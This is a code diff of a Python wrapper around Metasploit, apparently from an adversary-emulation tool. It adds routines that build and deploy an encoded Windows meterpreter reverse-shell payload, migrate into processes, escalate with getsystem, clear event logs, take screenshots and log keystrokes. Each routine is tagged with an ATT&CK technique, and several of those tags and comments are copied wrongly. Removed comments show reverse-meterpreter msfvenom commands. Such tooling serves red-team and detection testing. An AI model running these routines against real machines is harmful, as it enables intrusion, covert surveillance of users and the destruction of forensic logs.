|
|
|
@ -6,7 +6,9 @@ from app.attack_log import AttackLog
|
|
|
|
|
from app.interface_sfx import CommandlineColors
|
|
|
|
|
import time
|
|
|
|
|
import socket
|
|
|
|
|
from app.exceptions import MetasploitError
|
|
|
|
|
from app.exceptions import MetasploitError, ServerError
|
|
|
|
|
import requests
|
|
|
|
|
import random
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
import os
|
|
|
|
@ -23,6 +25,7 @@ class Metasploit():
|
|
|
|
|
"""
|
|
|
|
|
|
|
|
|
|
self.password = password
|
|
|
|
|
self.username = kwargs.get("username", None)
|
|
|
|
|
self.kwargs = kwargs
|
|
|
|
|
self.client = None
|
|
|
|
|
|
|
|
|
@ -31,7 +34,7 @@ class Metasploit():
|
|
|
|
|
self.attacker = kwargs.get("attacker", None)
|
|
|
|
|
if self.attacker:
|
|
|
|
|
# we expect a running attacker but without a running msfrcpd
|
|
|
|
|
self.start_msfrpcd(kwargs.get("username"))
|
|
|
|
|
self.start_msfrpcd()
|
|
|
|
|
kwargs["server"] = self.attacker.get_ip()
|
|
|
|
|
time.sleep(3) # Waiting for server to start. Or we would get https connection errors when getting the client.
|
|
|
|
|
|
|
|
|
@ -51,24 +54,49 @@ class Metasploit():
|
|
|
|
|
print(res)
|
|
|
|
|
return res
|
|
|
|
|
|
|
|
|
|
def start_msfrpcd(self, username):
|
|
|
|
|
def start_msfrpcd(self):
|
|
|
|
|
""" Starts the msfrpcs on the attacker. Metasploit must alredy be installed there ! """
|
|
|
|
|
|
|
|
|
|
cmd = f"msfrpcd -P {self.password} -U {username} -S"
|
|
|
|
|
cmd = f"killall msfrpcd; nohup msfrpcd -P {self.password} -U {self.username} -S &"
|
|
|
|
|
|
|
|
|
|
self.attacker.remote_run(cmd, disown=True)
|
|
|
|
|
# print("msfrpcd started")
|
|
|
|
|
# breakpoint()
|
|
|
|
|
time.sleep(3)
|
|
|
|
|
|
|
|
|
|
def get_client(self):
|
|
|
|
|
""" Get a local metasploit client connected to the metasploit server """
|
|
|
|
|
|
|
|
|
|
# print("starting get client")
|
|
|
|
|
# print(f"Password: {self.password}")
|
|
|
|
|
# print(f"Kwargs: {self.kwargs}")
|
|
|
|
|
|
|
|
|
|
if self.client:
|
|
|
|
|
return self.client
|
|
|
|
|
self.client = MsfRpcClient(self.password, **self.kwargs)
|
|
|
|
|
|
|
|
|
|
self.client = None
|
|
|
|
|
retries = 5
|
|
|
|
|
sleeptime = 5
|
|
|
|
|
|
|
|
|
|
while retries:
|
|
|
|
|
try:
|
|
|
|
|
self.client = MsfRpcClient(self.password, **self.kwargs)
|
|
|
|
|
break
|
|
|
|
|
except requests.exceptions.ConnectionError:
|
|
|
|
|
self.start_msfrpcd()
|
|
|
|
|
time.sleep(sleeptime)
|
|
|
|
|
sleeptime += 5
|
|
|
|
|
print("Failed getting connection to msfrpcd. Retries left: {retries}")
|
|
|
|
|
retries -= 1
|
|
|
|
|
|
|
|
|
|
if self.client is None:
|
|
|
|
|
raise ServerError("Was not able to properly start and connect to msfrpcd")
|
|
|
|
|
|
|
|
|
|
return self.client
|
|
|
|
|
|
|
|
|
|
def wait_for_session(self):
|
|
|
|
|
def wait_for_session(self, retries=50):
|
|
|
|
|
""" Wait until we get a session """
|
|
|
|
|
|
|
|
|
|
retries = 50
|
|
|
|
|
while self.get_client().sessions.list == {}:
|
|
|
|
|
time.sleep(1)
|
|
|
|
|
print(f"Waiting to get any session {retries}")
|
|
|
|
@ -159,6 +187,36 @@ class Metasploit():
|
|
|
|
|
|
|
|
|
|
return res
|
|
|
|
|
|
|
|
|
|
def smart_infect(self, target, payload_type="windows/x64/meterpreter/reverse_https", payload_name="babymetal.exe"):
|
|
|
|
|
""" Checks if a target already has a meterpreter session open. Will deploy a payload if not """
|
|
|
|
|
|
|
|
|
|
# TODO Smart_infect should detect the platform of the target and pick the proper parameters based on that
|
|
|
|
|
|
|
|
|
|
try:
|
|
|
|
|
self.start_exploit_stub_for_external_payload(payload=payload_type)
|
|
|
|
|
self.wait_for_session(2)
|
|
|
|
|
except MetasploitError:
|
|
|
|
|
|
|
|
|
|
self.attack_logger.vprint(
|
|
|
|
|
f"{CommandlineColors.OKCYAN}Create payload {payload_name} replacement{CommandlineColors.ENDC}",
|
|
|
|
|
1)
|
|
|
|
|
venom = MSFVenom(self.attacker, target, self.attack_logger)
|
|
|
|
|
venom.generate_and_deploy(payload=payload_type,
|
|
|
|
|
architecture="x86",
|
|
|
|
|
platform="windows",
|
|
|
|
|
lhost=self.attacker.get_ip(),
|
|
|
|
|
format="exe",
|
|
|
|
|
outfile=payload_name,
|
|
|
|
|
encoder="x86/shikata_ga_nai",
|
|
|
|
|
iterations=5
|
|
|
|
|
)
|
|
|
|
|
self.attack_logger.vprint(
|
|
|
|
|
f"{CommandlineColors.OKCYAN}Execute {payload_name} replacement - waiting for meterpreter shell{CommandlineColors.ENDC}",
|
|
|
|
|
1)
|
|
|
|
|
|
|
|
|
|
self.start_exploit_stub_for_external_payload(payload=payload_type)
|
|
|
|
|
self.wait_for_session()
|
|
|
|
|
|
|
|
|
|
##########################################################################
|
|
|
|
|
|
|
|
|
|
|
|
|
|
@ -176,69 +234,59 @@ class MSFVenom():
|
|
|
|
|
self.target = target
|
|
|
|
|
self.attack_logger = attack_logger
|
|
|
|
|
|
|
|
|
|
def generate_cmd(self, **kwargs):
|
|
|
|
|
""" Generates a cmd
|
|
|
|
|
|
|
|
|
|
def generate_payload(self, **kwargs):
|
|
|
|
|
""" Generates a payload on the attacker machine
|
|
|
|
|
|
|
|
|
|
:return:
|
|
|
|
|
"""
|
|
|
|
|
payload = kwargs.get("payload", None)
|
|
|
|
|
architecture = kwargs.get("architecture", None)
|
|
|
|
|
platform = kwargs.get("platform", self.target.get_os())
|
|
|
|
|
lhost = kwargs.get("lhost", self.attacker.get_ip())
|
|
|
|
|
format = kwargs.get("format", None) # file format
|
|
|
|
|
file_format = kwargs.get("format", None) # file format
|
|
|
|
|
outfile = kwargs.get("outfile", "payload.exe")
|
|
|
|
|
encoder = kwargs.get("encoder", None)
|
|
|
|
|
iterations = kwargs.get("iterations", None)
|
|
|
|
|
|
|
|
|
|
cmd = "msfvenom"
|
|
|
|
|
if architecture is not None:
|
|
|
|
|
if architecture not in ["x86", "x64"]:
|
|
|
|
|
raise MetasploitError(f"MSFVenom wrapper does not support architecture {architecture}")
|
|
|
|
|
cmd += f" -a {architecture}"
|
|
|
|
|
if platform is not None:
|
|
|
|
|
if platform not in ["windows", "linux"]:
|
|
|
|
|
raise MetasploitError(f"MSFVenom wrapper does not support platform {platform}")
|
|
|
|
|
cmd += f" --platform {platform}"
|
|
|
|
|
if payload is not None:
|
|
|
|
|
cmd += f" -p {payload}"
|
|
|
|
|
if lhost is not None:
|
|
|
|
|
cmd += f" LHOST={lhost}"
|
|
|
|
|
if format is not None:
|
|
|
|
|
cmd += f" -f {format}"
|
|
|
|
|
if file_format is not None:
|
|
|
|
|
cmd += f" -f {file_format}"
|
|
|
|
|
if outfile is not None:
|
|
|
|
|
cmd += f" -o {outfile}"
|
|
|
|
|
|
|
|
|
|
# -p payload linux/x86/meterpreter_reverse_tcp
|
|
|
|
|
# -f format: elf, exe, powershell, python
|
|
|
|
|
# --platform: linux, windows, osx
|
|
|
|
|
# -a arch: x86, x64
|
|
|
|
|
# -e encoders: x86/shikata_ga_nai
|
|
|
|
|
# -b bad chars to avoid
|
|
|
|
|
# -i iterations. encoding iterations
|
|
|
|
|
# -o <filename> out filename
|
|
|
|
|
# root@kali:~# msfvenom -a x86 --platform Windows -p windows/shell/bind_tcp -e x86/shikata_ga_nai -b '\x00' -i 3 -f python
|
|
|
|
|
# complex: msfvenom -a x86 --platform linux -p linux/x86/meterpreter_reverse_tcp LHOST=192.168.178.125 -e x86/shikata_ga_nai -i 3 -f elf -o reverse_meterpreter
|
|
|
|
|
|
|
|
|
|
# verified to work (Linux): msfvenom -a x64 --platform linux -p linux/x64/meterpreter_reverse_tcp LHOST=192.168.178.125 -f elf -o reverse_meterpreter
|
|
|
|
|
|
|
|
|
|
# Keep in mind: The msfconsole needs to actively listen to the connection:
|
|
|
|
|
# msf6 > use exploit/multi/handler
|
|
|
|
|
# [*] Using configured payload generic/shell_reverse_tcp
|
|
|
|
|
# msf6 exploit(multi/handler) > set payload linux/x64/meterpreter_reverse_tcp
|
|
|
|
|
# payload => linux/x64/meterpreter_reverse_tcp
|
|
|
|
|
# msf6 exploit(multi/handler) > set lhost 192.168.178.125
|
|
|
|
|
# lhost => 192.168.178.125
|
|
|
|
|
# msf6 exploit(multi/handler) > set lport 4444
|
|
|
|
|
# lport => 4444
|
|
|
|
|
# msf6 exploit(multi/handler) > run
|
|
|
|
|
#
|
|
|
|
|
# [*] Started reverse TCP handler on 192.168.178.125:4444
|
|
|
|
|
# [*] Meterpreter session 1 opened (192.168.178.125:4444 -> 192.168.178.125:42436) at 2021-06-01 03:32:12 -0400
|
|
|
|
|
#
|
|
|
|
|
# meterpreter > !!! We are in the session now !!!
|
|
|
|
|
|
|
|
|
|
return cmd
|
|
|
|
|
|
|
|
|
|
def generate_payload(self, **kwargs):
|
|
|
|
|
""" Generates a payload on the attacker machine
|
|
|
|
|
|
|
|
|
|
"""
|
|
|
|
|
cmd = self.generate_cmd(**kwargs)
|
|
|
|
|
if encoder is not None:
|
|
|
|
|
if encoder not in ["x86/shikata_ga_nai"]:
|
|
|
|
|
raise MetasploitError(f"MSFVenom wrapper does not support encoder {encoder}")
|
|
|
|
|
cmd += f" -e {encoder}"
|
|
|
|
|
if iterations is not None:
|
|
|
|
|
cmd += f" -i {iterations}"
|
|
|
|
|
|
|
|
|
|
# Detecting all the mistakes that already have been made. To be continued
|
|
|
|
|
# Check if encoder supports the architecture
|
|
|
|
|
if encoder == "x86/shikata_ga_nai" and architecture == "x64":
|
|
|
|
|
raise MetasploitError(f"Encoder {encoder} does not support 64 bit architecture")
|
|
|
|
|
|
|
|
|
|
# Check if payload is for the right amount of bit
|
|
|
|
|
if architecture == "x64" and "/x64/" not in payload:
|
|
|
|
|
raise MetasploitError(f"Payload {payload} does not support 64 bit architecture")
|
|
|
|
|
if architecture == "x86" and "/x64/" in payload:
|
|
|
|
|
raise MetasploitError(f"Payload {payload} does not support 32 bit architecture")
|
|
|
|
|
|
|
|
|
|
# Check if payload is platform
|
|
|
|
|
if platform not in payload:
|
|
|
|
|
raise MetasploitError(f"Payload {payload} support platform {platform}")
|
|
|
|
|
|
|
|
|
|
# Footnote: Currently we only support windows/linux and the "boring" payloads. This will be more tricky as soon as we get creative here
|
|
|
|
|
|
|
|
|
|
self.attacker.remote_run(cmd)
|
|
|
|
|
|
|
|
|
@ -286,3 +334,294 @@ class MSFVenom():
|
|
|
|
|
self.attack_logger.vprint(
|
|
|
|
|
f"{CommandlineColors.OKCYAN}Executed payload {payload_name} on {self.target.get_name()} {CommandlineColors.ENDC}",
|
|
|
|
|
1)
|
|
|
|
|
|
|
|
|
|
################
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
class MetasploitInstant(Metasploit):
|
|
|
|
|
""" A simple metasploit class with pre-defined metasploit attacks and logging. Just add water
|
|
|
|
|
|
|
|
|
|
The attacks pre-defioned in here are the bread-and-butter attacks, the most basic ones. Those you will need all the time when simulating and adversary.
|
|
|
|
|
No need to add specific/specific ones in here. In attack plugins you will find all the features as well. Better code them there.
|
|
|
|
|
|
|
|
|
|
"""
|
|
|
|
|
|
|
|
|
|
def __init__(self, password, attack_logger, **kwargs):
|
|
|
|
|
"""
|
|
|
|
|
|
|
|
|
|
:param password: password for the msfrpcd
|
|
|
|
|
:param attack_logger: The attack logging
|
|
|
|
|
:param kwargs: Relevant ones: uri, port, server, username
|
|
|
|
|
"""
|
|
|
|
|
super().__init__(password, **kwargs)
|
|
|
|
|
self.attack_logger = attack_logger
|
|
|
|
|
|
|
|
|
|
def parse_ps(self, ps_output):
|
|
|
|
|
d = []
|
|
|
|
|
for line in ps_output.split("\n")[6:]:
|
|
|
|
|
pieces = line.split(" ")
|
|
|
|
|
cleaned_pieces = []
|
|
|
|
|
for p in pieces:
|
|
|
|
|
if len(p):
|
|
|
|
|
cleaned_pieces.append(p)
|
|
|
|
|
|
|
|
|
|
if len(cleaned_pieces) > 2:
|
|
|
|
|
rep = {"PID": int(cleaned_pieces[0].strip()),
|
|
|
|
|
"PPID": int(cleaned_pieces[1].strip()),
|
|
|
|
|
"Name": cleaned_pieces[2].strip(),
|
|
|
|
|
"Arch": None,
|
|
|
|
|
"Session": None,
|
|
|
|
|
"User": None,
|
|
|
|
|
"Path": None}
|
|
|
|
|
if len(cleaned_pieces) >= 4:
|
|
|
|
|
rep["Arch"] = cleaned_pieces[3].strip()
|
|
|
|
|
if len(cleaned_pieces) >= 5:
|
|
|
|
|
rep["Session"] = int(cleaned_pieces[4].strip())
|
|
|
|
|
if len(cleaned_pieces) >= 6:
|
|
|
|
|
rep["User"] = cleaned_pieces[5].strip()
|
|
|
|
|
if len(cleaned_pieces) >= 7:
|
|
|
|
|
rep["Path"] = cleaned_pieces[6].strip()
|
|
|
|
|
d.append(rep)
|
|
|
|
|
|
|
|
|
|
return d
|
|
|
|
|
|
|
|
|
|
def filter_ps_results(self, data, user=None, name=None, arch=None):
|
|
|
|
|
""" Filter the process lists for certain
|
|
|
|
|
|
|
|
|
|
@param user: The user to filter for.
|
|
|
|
|
@param name: The process name to filter for (executable name)
|
|
|
|
|
@param arch: The architecture to select. 'x64' is one option
|
|
|
|
|
"""
|
|
|
|
|
|
|
|
|
|
res = data
|
|
|
|
|
if user is not None:
|
|
|
|
|
res = [item for item in res if item["User"] == user]
|
|
|
|
|
if name is not None:
|
|
|
|
|
res = [item for item in res if item["Name"].lower() == name.lower()]
|
|
|
|
|
if arch is not None:
|
|
|
|
|
res = [item for item in res if item["Arch"] == arch]
|
|
|
|
|
return res
|
|
|
|
|
|
|
|
|
|
def ps_process_discovery(self, target):
|
|
|
|
|
""" Do a process discovery on the target """
|
|
|
|
|
|
|
|
|
|
command = "ps -ax"
|
|
|
|
|
ttp = "T1057"
|
|
|
|
|
|
|
|
|
|
self.attack_logger.vprint(
|
|
|
|
|
f"{CommandlineColors.OKCYAN}Execute {command} through meterpreter{CommandlineColors.ENDC}", 1)
|
|
|
|
|
|
|
|
|
|
self.attack_logger.start_metasploit_attack(source=self.attacker.get_ip(),
|
|
|
|
|
target=target.get_ip(),
|
|
|
|
|
metasploit_command=command,
|
|
|
|
|
ttp=ttp)
|
|
|
|
|
res = self.meterpreter_execute_on([command], target)
|
|
|
|
|
|
|
|
|
|
self.attack_logger.stop_metasploit_attack(source=self.attacker.get_ip(),
|
|
|
|
|
target=target.get_ip(),
|
|
|
|
|
metasploit_command=command,
|
|
|
|
|
ttp=ttp)
|
|
|
|
|
return res
|
|
|
|
|
|
|
|
|
|
def migrate(self, target, user=None, name=None, arch=None):
|
|
|
|
|
""" Migrate to a process matching certain criteria
|
|
|
|
|
|
|
|
|
|
@param user: The user to filter for.
|
|
|
|
|
@param name: The process name to filter for (executable name)
|
|
|
|
|
@param arch: The architecture to select. 'x64' is one option
|
|
|
|
|
"""
|
|
|
|
|
|
|
|
|
|
ttp = "T1055"
|
|
|
|
|
|
|
|
|
|
process_list = self.ps_process_discovery(target)
|
|
|
|
|
ps = self.parse_ps(process_list[0])
|
|
|
|
|
filtered_list = self.filter_ps_results(ps, user, name, arch)
|
|
|
|
|
|
|
|
|
|
if len(filtered_list) == 0:
|
|
|
|
|
print(process_list)
|
|
|
|
|
raise MetasploitError("Did not find a matching process to migrate to")
|
|
|
|
|
|
|
|
|
|
# picking random target process
|
|
|
|
|
target_process = random.choice(filtered_list)
|
|
|
|
|
print(f"Migrating to process {target_process}")
|
|
|
|
|
command = f"migrate {target_process['PID']}"
|
|
|
|
|
self.attack_logger.start_metasploit_attack(source=self.attacker.get_ip(),
|
|
|
|
|
target=target.get_ip(),
|
|
|
|
|
metasploit_command=command,
|
|
|
|
|
ttp=ttp)
|
|
|
|
|
res = self.meterpreter_execute_on([command], target)
|
|
|
|
|
print(res)
|
|
|
|
|
self.attack_logger.stop_metasploit_attack(source=self.attacker.get_ip(),
|
|
|
|
|
target=target.get_ip(),
|
|
|
|
|
metasploit_command=command,
|
|
|
|
|
ttp=ttp)
|
|
|
|
|
return res
|
|
|
|
|
|
|
|
|
|
def arp_network_discovery(self, target):
|
|
|
|
|
""" Do a network discovery on the target """
|
|
|
|
|
|
|
|
|
|
command = "arp"
|
|
|
|
|
ttp = "T1016"
|
|
|
|
|
|
|
|
|
|
self.attack_logger.vprint(
|
|
|
|
|
f"{CommandlineColors.OKCYAN}Execute {command} through meterpreter{CommandlineColors.ENDC}", 1)
|
|
|
|
|
|
|
|
|
|
self.attack_logger.start_metasploit_attack(source=self.attacker.get_ip(),
|
|
|
|
|
target=target.get_ip(),
|
|
|
|
|
metasploit_command=command,
|
|
|
|
|
ttp=ttp)
|
|
|
|
|
res = self.meterpreter_execute_on([command], target)
|
|
|
|
|
print(res)
|
|
|
|
|
self.attack_logger.stop_metasploit_attack(source=self.attacker.get_ip(),
|
|
|
|
|
target=target.get_ip(),
|
|
|
|
|
metasploit_command=command,
|
|
|
|
|
ttp=ttp)
|
|
|
|
|
return res
|
|
|
|
|
|
|
|
|
|
def getsystem(self, target):
|
|
|
|
|
""" Do a network discovery on the target """
|
|
|
|
|
|
|
|
|
|
command = "getsystem"
|
|
|
|
|
ttp = "????" # It uses one out of three different ways to elevate privileges.
|
|
|
|
|
# https://docs.rapid7.com/metasploit/meterpreter-getsystem/
|
|
|
|
|
|
|
|
|
|
self.attack_logger.vprint(
|
|
|
|
|
f"{CommandlineColors.OKCYAN}Execute {command} through meterpreter{CommandlineColors.ENDC}", 1)
|
|
|
|
|
|
|
|
|
|
self.attack_logger.start_metasploit_attack(source=self.attacker.get_ip(),
|
|
|
|
|
target=target.get_ip(),
|
|
|
|
|
metasploit_command=command,
|
|
|
|
|
ttp=ttp)
|
|
|
|
|
res = self.meterpreter_execute_on([command], target)
|
|
|
|
|
print(res)
|
|
|
|
|
self.attack_logger.stop_metasploit_attack(source=self.attacker.get_ip(),
|
|
|
|
|
target=target.get_ip(),
|
|
|
|
|
metasploit_command=command,
|
|
|
|
|
ttp=ttp)
|
|
|
|
|
return res
|
|
|
|
|
|
|
|
|
|
def clearev(self, target):
|
|
|
|
|
""" Clears windows event logs """
|
|
|
|
|
|
|
|
|
|
command = "clearev"
|
|
|
|
|
ttp = "T1070.001" # It uses one out of three different ways to elevate privileges.
|
|
|
|
|
|
|
|
|
|
self.attack_logger.vprint(
|
|
|
|
|
f"{CommandlineColors.OKCYAN}Execute {command} through meterpreter{CommandlineColors.ENDC}", 1)
|
|
|
|
|
|
|
|
|
|
self.attack_logger.start_metasploit_attack(source=self.attacker.get_ip(),
|
|
|
|
|
target=target.get_ip(),
|
|
|
|
|
metasploit_command=command,
|
|
|
|
|
ttp=ttp)
|
|
|
|
|
res = self.meterpreter_execute_on([command], target)
|
|
|
|
|
print(res)
|
|
|
|
|
self.attack_logger.stop_metasploit_attack(source=self.attacker.get_ip(),
|
|
|
|
|
target=target.get_ip(),
|
|
|
|
|
metasploit_command=command,
|
|
|
|
|
ttp=ttp)
|
|
|
|
|
return res
|
|
|
|
|
|
|
|
|
|
def screengrab(self, target):
|
|
|
|
|
""" Creates a screenshot
|
|
|
|
|
|
|
|
|
|
Before using it, migrate to a process running while you want to monitor.
|
|
|
|
|
One with the permission "NT AUTHORITY\\SYSTEM"
|
|
|
|
|
"""
|
|
|
|
|
|
|
|
|
|
command = "screengrab"
|
|
|
|
|
ttp = "T1113" # It uses one out of three different ways to elevate privileges.
|
|
|
|
|
|
|
|
|
|
self.attack_logger.vprint(
|
|
|
|
|
f"{CommandlineColors.OKCYAN}Execute {command} through meterpreter{CommandlineColors.ENDC}", 1)
|
|
|
|
|
|
|
|
|
|
self.attack_logger.start_metasploit_attack(source=self.attacker.get_ip(),
|
|
|
|
|
target=target.get_ip(),
|
|
|
|
|
metasploit_command=command,
|
|
|
|
|
ttp=ttp)
|
|
|
|
|
res = self.meterpreter_execute_on(["use espia"], target)
|
|
|
|
|
print(res)
|
|
|
|
|
res = self.meterpreter_execute_on([command], target)
|
|
|
|
|
print(res)
|
|
|
|
|
self.attack_logger.stop_metasploit_attack(source=self.attacker.get_ip(),
|
|
|
|
|
target=target.get_ip(),
|
|
|
|
|
metasploit_command=command,
|
|
|
|
|
ttp=ttp)
|
|
|
|
|
return res
|
|
|
|
|
|
|
|
|
|
def keylogging(self, target, monitoring_time):
|
|
|
|
|
""" Starts keylogging
|
|
|
|
|
|
|
|
|
|
Before using it, migrate to a process running while you want to monitor.
|
|
|
|
|
|
|
|
|
|
"winlogon.exe" will monitor user logins. "explorer.exe" during the session.
|
|
|
|
|
|
|
|
|
|
@param monitoring_time: Seconds the keylogger is running
|
|
|
|
|
@param monitoring_time: The time to monitor the keys. In seconds
|
|
|
|
|
"""
|
|
|
|
|
|
|
|
|
|
command = "keyscan_start"
|
|
|
|
|
ttp = "T1056.001" # It uses one out of three different ways to elevate privileges.
|
|
|
|
|
|
|
|
|
|
self.attack_logger.vprint(
|
|
|
|
|
f"{CommandlineColors.OKCYAN}Execute {command} through meterpreter{CommandlineColors.ENDC}", 1)
|
|
|
|
|
|
|
|
|
|
self.attack_logger.start_metasploit_attack(source=self.attacker.get_ip(),
|
|
|
|
|
target=target.get_ip(),
|
|
|
|
|
metasploit_command=command,
|
|
|
|
|
ttp=ttp)
|
|
|
|
|
res = self.meterpreter_execute_on([command], target)
|
|
|
|
|
print(res)
|
|
|
|
|
time.sleep(monitoring_time)
|
|
|
|
|
res = self.meterpreter_execute_on(["keyscan_dump"], target)
|
|
|
|
|
print(res)
|
|
|
|
|
self.attack_logger.stop_metasploit_attack(source=self.attacker.get_ip(),
|
|
|
|
|
target=target.get_ip(),
|
|
|
|
|
metasploit_command=command,
|
|
|
|
|
ttp=ttp)
|
|
|
|
|
return res
|
|
|
|
|
|
|
|
|
|
def getuid(self, target):
|
|
|
|
|
""" Returns the UID
|
|
|
|
|
|
|
|
|
|
"""
|
|
|
|
|
|
|
|
|
|
command = "getuid"
|
|
|
|
|
ttp = "T1056.001" # It uses one out of three different ways to elevate privileges.
|
|
|
|
|
|
|
|
|
|
self.attack_logger.vprint(
|
|
|
|
|
f"{CommandlineColors.OKCYAN}Execute {command} through meterpreter{CommandlineColors.ENDC}", 1)
|
|
|
|
|
|
|
|
|
|
self.attack_logger.start_metasploit_attack(source=self.attacker.get_ip(),
|
|
|
|
|
target=target.get_ip(),
|
|
|
|
|
metasploit_command=command,
|
|
|
|
|
ttp=ttp)
|
|
|
|
|
res = self.meterpreter_execute_on([command], target)
|
|
|
|
|
|
|
|
|
|
self.attack_logger.stop_metasploit_attack(source=self.attacker.get_ip(),
|
|
|
|
|
target=target.get_ip(),
|
|
|
|
|
metasploit_command=command,
|
|
|
|
|
ttp=ttp)
|
|
|
|
|
return res[0]
|
|
|
|
|
|
|
|
|
|
def sysinfo(self, target):
|
|
|
|
|
""" Returns the sysinfo
|
|
|
|
|
|
|
|
|
|
"""
|
|
|
|
|
|
|
|
|
|
command = "sysinfo"
|
|
|
|
|
ttp = "T1082" # It uses one out of three different ways to elevate privileges.
|
|
|
|
|
|
|
|
|
|
self.attack_logger.vprint(
|
|
|
|
|
f"{CommandlineColors.OKCYAN}Execute {command} through meterpreter{CommandlineColors.ENDC}", 1)
|
|
|
|
|
|
|
|
|
|
self.attack_logger.start_metasploit_attack(source=self.attacker.get_ip(),
|
|
|
|
|
target=target.get_ip(),
|
|
|
|
|
metasploit_command=command,
|
|
|
|
|
ttp=ttp)
|
|
|
|
|
res = self.meterpreter_execute_on([command], target)
|
|
|
|
|
|
|
|
|
|
self.attack_logger.stop_metasploit_attack(source=self.attacker.get_ip(),
|
|
|
|
|
target=target.get_ip(),
|
|
|
|
|
metasploit_command=command,
|
|
|
|
|
ttp=ttp)
|
|
|
|
|
return res[0]
|
|
|
|
|